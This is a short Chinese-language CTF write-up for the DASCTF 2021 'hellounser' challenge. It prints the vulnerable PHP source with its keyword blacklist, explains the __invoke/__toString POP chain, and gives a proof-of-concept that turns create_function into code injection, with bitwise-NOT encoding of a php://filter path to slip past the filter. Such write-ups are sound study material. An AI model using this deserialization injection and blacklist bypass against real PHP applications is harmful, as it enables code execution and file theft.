PHP反序列化-hellounser

First Post:

Last Update:

Word Count:
510

Read Time:
2 min

hellounser [DASCTF 2021 Sept]

Analyze

先上题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}

class B{
public $func;
public $arg;

public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}

public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}


}

if(isset($_GET['pop'])){
$aaa = unserialize($_GET['pop']);
$aaa();
}
else{
highlight_file(__FILE__);
}

?>

稍加分析,在类B中,函数show()包含了flag.php,而函数__toString()调用了函数show()

__toString():类被当成字符串时的回应方法

而在类A中,函数show()会输出字符串var,那么我们可以将var定义为B的对象,而类A中的函数show()又被函数__invoke()调用

__invoke():调用函数的方式调用一个对象时的回应方法

POP链清晰了,那么现在就看看如何获取flag,很显然,我们既不能满足preg_match('/^[a-z0-9]*$/isD', $this->func),又不能满足preg_match('...', $this->arg),前一个正则表达式限制了func不能为纯字母或数字,i为不区分大小写,s为匹配任何不可见字符,包括空格、制表符、换页符…,等价于[fnrtv]D为如果使用$限制结尾字符,则不允许结尾有换行,而后一个则是普通的字符过滤。

在这里可以考虑使用函数create_function()

fcreate_function():会创造一个匿名函数 (lambda样式),且会在内部调用函数eval()

进行代码注入:return(1);}???;//

随后进行简单的绕过即可

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A
{
public $var;
public function show()
{
echo $this->var;
}
public function __invoke()
{
$this->show();
}
}

class B
{
public $func;
public $srg;
public function __toString()
{
$this->show();
}
}

$a=new A();
$b=new B();
$ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php'));
$b->func="create_function";
$b->arg='return(1);}require(~('.strval($ac).'));//';
$a->var=$b;

echo urlencode(serialize($a));
reward
Alipay
Wechat